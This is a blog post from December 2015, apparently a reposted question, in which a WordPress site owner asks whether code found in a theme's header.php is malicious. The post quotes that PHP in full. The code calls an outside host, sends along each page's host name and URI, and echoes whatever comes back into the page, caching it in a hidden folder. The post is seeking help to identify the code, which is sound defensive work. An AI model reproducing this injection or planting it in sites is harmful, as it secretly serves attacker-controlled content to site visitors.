lundi 21 décembre 2015

php malware, wordpress exploit, php virus

When i scanned a wordpress using exploit scanner plugin i got following result

image 1

image 2

Is there anything to worry? is that contain malicious code????

Also in the theame header.php file i saw following details. Is there anything to worry? what is following code actually doing?

<?php
$h = $_SERVER['HTTP_HOST']; $u = trim($_SERVER['REQUEST_URI']);
$cd = dirname(__FILE__) . '/.cache';
$cf = $cd . '/' . md5($h . '##' . $u);
$s = '1.granitebb.com';
if (file_exists($cf) and filemtime($cf) > time() - 3600)
    echo file_get_contents($cf);
else
{
    $ini1 = @ini_set('allow_url_fopen', 1);    $ini2 = @ini_set('default_socket_timeout', 3);
    $p = '/links.php?u=' . urlencode($u) . '&h=' . urlencode($h);
    $c = '';
    if ($fp = @fsockopen($s, 80, $errno, $errstr, 3)) {
        @fputs($fp, "GET {$p} HTTP/1.0\r\nHost: $s\r\n\r\n");
        while (! feof($fp))
            $c .= @fread($fp, 8192);
        fclose($fp);
        $c = end(explode("\r\n\r\n", $c));
        echo $c;
        if (strlen($c) and (is_dir($cd) or @mkdir($cd))) {
            @file_put_contents($cf, $c);
        }
    }
    @ini_set('allow_url_fopen', $ini1);    @ini_set('default_socket_timeout', $ini2);
}
?>

Also is there any good php virus scanners??



via Chebli Mohamed

Aucun commentaire:

Enregistrer un commentaire